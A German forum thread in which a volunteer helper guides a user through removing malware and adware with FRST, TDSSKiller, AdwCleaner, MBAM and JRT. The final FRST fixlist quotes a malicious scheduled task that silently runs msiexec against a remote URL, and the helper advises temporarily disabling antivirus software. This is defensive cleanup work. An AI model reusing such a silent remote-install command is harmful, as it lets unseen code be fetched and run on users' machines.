Hallo,

ich habe ein Problem mit meinem Rechner. Das Problem ist, dass sich seitdem ich ein Programm runtergeladen habe immer wieder ein unbekanntes Programm in der Taskleiste öffnet und sofort wieder schließt. Ich weiß nicht wie das Programm heißt und weiterhin weiß ich auch nicht, ob es ein Virus oder ein Updater von irgendeinem Programm ist. Ich gehe aber eher von einem Virus aus, da dies Problem erst aufgetreten ist nachdem ich das Programm runtergeladen habe.
Ich habe schon Sophos und Antivir rüberlaufen lassen. Es wurden auch Würmer etc. gefunden die ich alle löschen habe lassen.
Das Problem ist allerdings immer noch vorhanden.

Ich bitte um Hilfe

Vielen Dank

Mein Name ist Matthias und ich werde dir bei der Bereinigung deines Computers helfen.


Bitte beachte folgende Hinweise:

• Falls wir Hinweise auf illegal erworbene Software finden, werden wir den Support unterbrechen bis jegliche Art von illegaler Software vom Rechner entfernt wurde.
• Lies dir die Anleitungen sorgfältig durch. Solltest du Probleme haben, stoppe mit deiner Bearbeitung und beschreibe mir dein Problem so gut es geht.
• Solltest du mir nicht innerhalb von 3 Tagen antworten, gehe ich davon aus, dass du keine Hilfe mehr benötigst. Dann lösche ich dein Thema aus meinem Abo. Solltest du einmal länger abwesend sein, so gib mir bitte Bescheid!
• Während der Bereinigung bitte nichts installieren oder deinstallieren, außer ich bitte dich darum!
• Bitte beachten: Download bei filepony.de: So ladet Ihr unsere Tools richtig!
• Alle zu verwendenen Programme sind auf dem Desktop abzuspeichern und von dort als Administrator zu starten!
• Einige Programme, die wir hier verwenden, können unter Umständen von deinem Antiviren- oder Anti-Malwareprogramm fälschlicherweise als Bedrohung eingestuft werden. Die Sicherheitsprogramme können aufgrund eines bestimmten Programmverhaltens nicht zwischen "gut" oder "böse" unterscheiden und schlagen Alarm. Dabei handelt es sich um Fehlalarme, welche du getrost ignorieren kannst. Gegebenenfalls musst du deine Sicherheitssoftware vor der Ausführung eines Programms deaktivieren, damit unsere Bereinigungsvorgänge nicht beeinträchtigt werden.

Bitte arbeite alle Schritte in der vorgegebenen Reihefolge nacheinander ab und poste alle Logdateien in CODE-Tags:

So funktioniert es:
Posten in CODE-Tags
Die Logfiles anzuhängen oder sogar vorher in ein ZIP, RAR, 7Z-Archive zu packen erschwert deinem Helfer massiv die Arbeit, es sei denn natürlich die Datei wäre ansonsten zu groß für das Forum. Um die Logfiles in eine CODE-Box zu stellen gehe so vor:

• Markiere das gesamte Logfile (geht meist mit STRG+A) und kopiere es in die Zwischenablage mit STRG+C.
• Klicke im Editor auf das #-Symbol. Es erscheinen zwei Klammerausdrücke [CODE] [/CODE].
• Setze den Curser zwischen die CODE-Tags und drücke STRG+V.
• Klicke aauf Erweitert/Vorschau, um so prüfen, ob du es richtig gemacht hast. Wenn alles stimmt ... auf Antworten.

Danke für deine Mitarbeit!

Ich habe schon Sophos und Antivir rüberlaufen lassen. Es wurden auch Würmer etc. gefunden die ich alle löschen habe lassen.

Bitte die Logdateien von Sophos und AntiVir mit den Funden posten.
Solltest du noch zwei AV-Programme installiert haben, bitte jetzt eines davon wieder deinstallieren.





Zur ersten Analyse bitte FRST und TDSS-Killer ausführen:


Schritt 1
Bitte lade dir die passende Version von Farbar's Recovery Scan Tool auf deinen Desktop: FRST 32-Bit | FRST 64-Bit
(Wenn du nicht sicher bist: Lade beide Versionen oder unter Start > Computer (Rechtsklick) > Eigenschaften nachschauen)

• Starte jetzt FRST.
• Ändere ungefragt keine der Checkboxen und klicke auf Untersuchen.
• Die Logdateien werden nun erstellt und befinden sich danach auf deinem Desktop.
• Poste mir die FRST.txt und nach dem ersten Scan auch die Addition.txt in deinem Thread (#-Symbol im Eingabefenster der Webseite anklicken)

Schritt 2
Downloade dir bitte TDSSKiller.exe und speichere diese Datei auf dem Desktop

• Starte die TDSSKiller.exe - Einstellen wie in der Anleitung zu TDSSKiller beschrieben.
• Drücke Start Scan
  
• Sollten infizierte Objekte gefunden werden, wähle keinesfalls Cure. Wähle Skip und klicke auf Continue.
  TDSSKiller wird eine Logfile auf deinem Systemlaufwerk speichern (Meistens C:\)
  Als Beispiel: C:\TDSSKiller.<Version_Datum_Uhrzeit>log.txt

Poste den Inhalt bitte in jedem Fall hier in deinen Thread.







Bitte poste mit deiner nächsten Antwort

• die Logdateien von Sophos und AntiVir mit den Funden,
• die Logdatei von TDSS-Killer,
• die beiden neuen Logdateien von FRST.

Hallo,
vielen Dank!

Ich werde versuchen alles richtig zu machen.

Zu dem ersten Punkt:

-> Sophos habe ich leider schon deinstalliert, da es nicht geholfen hat.
-> Antivir habe ich grad gestartet...es braucht aber n längeren Moment, ich werde so schnell wie möglich die Datei nachsenden.

Zu den nächsten Punkten:
Da schon allein 1 Log File zu groß ist, packe ich die Files in den Anhang(ich weiß aber das dies nicht erwünscht ist und nur im Notfall zu nutzen ist)

Vielen Dank!

Servus,


auf deinem PC ist noch einiges an Adware. Wir kümmern uns darum.




Schritt 1
Downloade Dir bitte AdwCleaner auf deinen Desktop.

• Schließe alle offenen Programme und Browser.
• Starte die adwcleaner.exe mit einem Doppelklick.
• Stimme den Nutzungsbedingungen zu.
• Klicke auf Werkzeuge > Optionen und vergewissere dich, dass die folgenden Punkte ausgewählt sind:
  • Image File Execution Options Schlüssel
  • "Tracing" Schlüssel
  • "Prefetch" Dateien
  • Proxy
  • Winsock
  • Internet Explorer Richtlinien
  • Chrome Richtlinien
• Bestätige die Auswahl mit Ok.
• Klicke auf Suchlauf und warte bis dieser abgeschlossen ist.
• Klicke nun auf Löschen (auch dann wenn AdwCleaner sagt, dass nichts gefunden wurde) und bestätige auftretende Hinweise mit Ok.
• Dein Rechner wird automatisch neu gestartet. Nach dem Neustart öffnet sich eine Textdatei. Poste mir deren Inhalt mit deiner nächsten Antwort.
• Die Logdatei findest du auch unter C:\AdwCleaner\AdwCleaner[Cx].txt. (x = fortlaufende Nummer).

Schritt 2
Downloade Dir bitte Malwarebytes Anti-Malware

• Installiere das Programm in den vorgegebenen Pfad.
• Starte Malwarebytes' Anti-Malware (MBAM).
• Klicke im Anschluss auf Scan, wähle den Bedrohungs-Scan aus und klicke auf Scan starten.
• Lass am Ende des Suchlaufs alle Funde (falls vorhanden) in die Quarantäne verschieben. Klicke dazu auf Ausgewählte Elemente in die Quarantäne verschieben.
• Lass deinen Rechner ggf. neu starten, um die Bereinigung abzuschließen.
• Starte MBAM nach dem Neustart, klicke auf Berichte.
• Wähle den neuesten Scan-Bericht aus, klicke auf Bericht anzeigen und dann auf Export.
• Wähle Textdatei (.txt) aus und speichere die Datei als mbam.txt auf dem Desktop ab.
• Füge den Inhalt der mbam.txt mit deiner nächsten Antwort hinzu.

Schritt 3

Beende bitte Deine Schutzsoftware um eventuelle Konflikte zu vermeiden.
Bitte lade Junkware Removal Tool auf Deinen Desktop

• Starte das Tool mit Doppelklick. Ab Windows Vista (oder höher) bitte mit Rechtsklick "als Administrator ausführen" starten.
• Drücke eine beliebige Taste, um das Tool zu starten.
• Je nach System kann der Scan eine Weile dauern.
• Wenn das Tool fertig ist wird das Logfile (JRT.txt) auf dem Desktop gespeichert und automatisch geöffnet.
• Bitte poste den Inhalt der JRT.txt in Deiner nächsten Antwort.

Schritt 4

• Starte die FRST.exe erneut. Setze einen Haken vor Addition.txt und drücke auf Scan.
• FRST erstellt nun zwei Logdateien (FRST.txt und Addition.txt).
• Poste mir beide Logdateien mit deiner nächsten Antwort.

Bitte poste mit deiner nächsten Antwort

• die Logdatei von AdwCleaner,
• die Logdatei von MBAM,
• die Logdatei von JRT,
• die beiden neuen Logdateien von FRST.

Hi,

habe alles ausgeführt.
Da wieder die Dateien sehr lang sind, wieder als .rar im Anhang.

Vielen Dank schonmal für die freundliche Hilfe.

Servus,





Schritt 1
Drücke bitte die Windowstaste + R Taste und schreibe notepad in das Ausführen Fenster.

Kopiere nun folgenden Text aus der Code-Box in das leere Textdokument

start
CloseProcesses:
C:\USERS\CHRISTIAN\APPDATA\ROAMING\PROFILES\PAJICK.DEFAULT
HKLM\...\Policies\Explorer: [EnableShellExecuteHooks] 1
ShellExecuteHooks: No Name - {2792BDF0-EABB-11E6-A851-64006A5CFC23} - C:\Users\Christian\AppData\Roaming\Arijuryarouied\Vaqother.dll -> No File
C:\Users\Christian\AppData\Roaming\Arijuryarouied
S3 MEMSWEEP2; C:\Windows\system32\50CE.tmp [6144 2009-06-18] (Sophos Plc) [File not signed]
S1 ltzlyyyq; \??\C:\Windows\system32\drivers\ltzlyyyq.sys [X]
S1 qbypptjb; \??\C:\Windows\system32\drivers\qbypptjb.sys [X]
C:\Program Files\jhttxc8z
Folder: C:\ProgramData\Avira
2017-02-06 16:31 - 2017-02-08 12:51 - 00000000 ____D C:\Users\Christian\AppData\Roaming\Arijuryarouied
Folder: C:\Windows\system32\SSL
2017-02-06 16:31 - 2017-02-06 16:33 - 00000000 ____D C:\Windows\system32\SSL
2017-02-06 16:31 - 2017-02-06 16:31 - 00006038 _____ C:\Windows\System32\Tasks\Nopury Engine
2017-02-06 16:31 - 2017-02-06 16:31 - 00003806 _____ C:\Windows\System32\Tasks\Phervackprivch
2017-02-06 16:31 - 2017-02-06 16:31 - 00000000 ____D C:\Users\Christian\AppData\Local\Shekighcoohisp
Folder: C:\ProgramData\Avg
2017-02-06 16:31 - 2017-02-06 16:31 - 00000000 ____D C:\ProgramData\Avg
Folder: C:\ProgramData\AVAST Software
2017-02-06 16:31 - 2017-02-06 16:31 - 00000000 ____D C:\ProgramData\AVAST Software
2017-02-03 15:59 - 2017-02-03 15:59 - 02844870 _____ C:\Windows\ee7d094153609ac6beb259c90ceedaac.exe
2017-02-08 12:52 - 2017-02-08 12:52 - 0000000 _____ () C:\Program Files (x86)\Common Files\CommonFilesNopuryEngine.dll
Task: {310DC3C8-FF14-4A67-826D-DC3E505A1B56} - System32\Tasks\Phervackprivch => msiexec /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=SamsungXSSDX850XPROX1TB_S252NX0H909062B&v=201726 /q
Task: {A2C2154D-DA94-4A30-A524-5123B198ACCE} - System32\Tasks\Nopury Engine => C:\Program Files (x86)\Togotserlither\wulusy.exe
C:\Program Files (x86)\Togotserlither
CMD: dir "%ProgramFiles%"
CMD: dir "%ProgramFiles(x86)%"
CMD: dir "%ProgramData%"
CMD: dir "%Appdata%"
CMD: dir "%LocalAppdata%"
RemoveProxy:
CMD: ipconfig /flushdns
CMD: netsh winsock reset
EmptyTemp:
end
         

Speichere diese bitte als Fixlist.txt auf deinem Desktop (oder dem Verzeichnis in dem sich FRST befindet).

• Starte nun FRST erneut und klicke den Entfernen Button.
• Das Tool erstellt eine Fixlog.txt.
• Poste mir deren Inhalt.

Schritt 2

• Starte die FRST.exe erneut. Setze einen Haken vor Addition.txt und drücke auf Untersuchen.
• FRST erstellt wieder zwei Logdateien (FRST.txt und Addition.txt).
• Poste mir beide Logdateien mit deiner nächsten Antwort.

Bitte poste mit deiner nächsten Antwort

• die Logdatei des FRST-Fix,
• die beiden neuen Logdateien von FRST (FRST.txt und Addition.txt).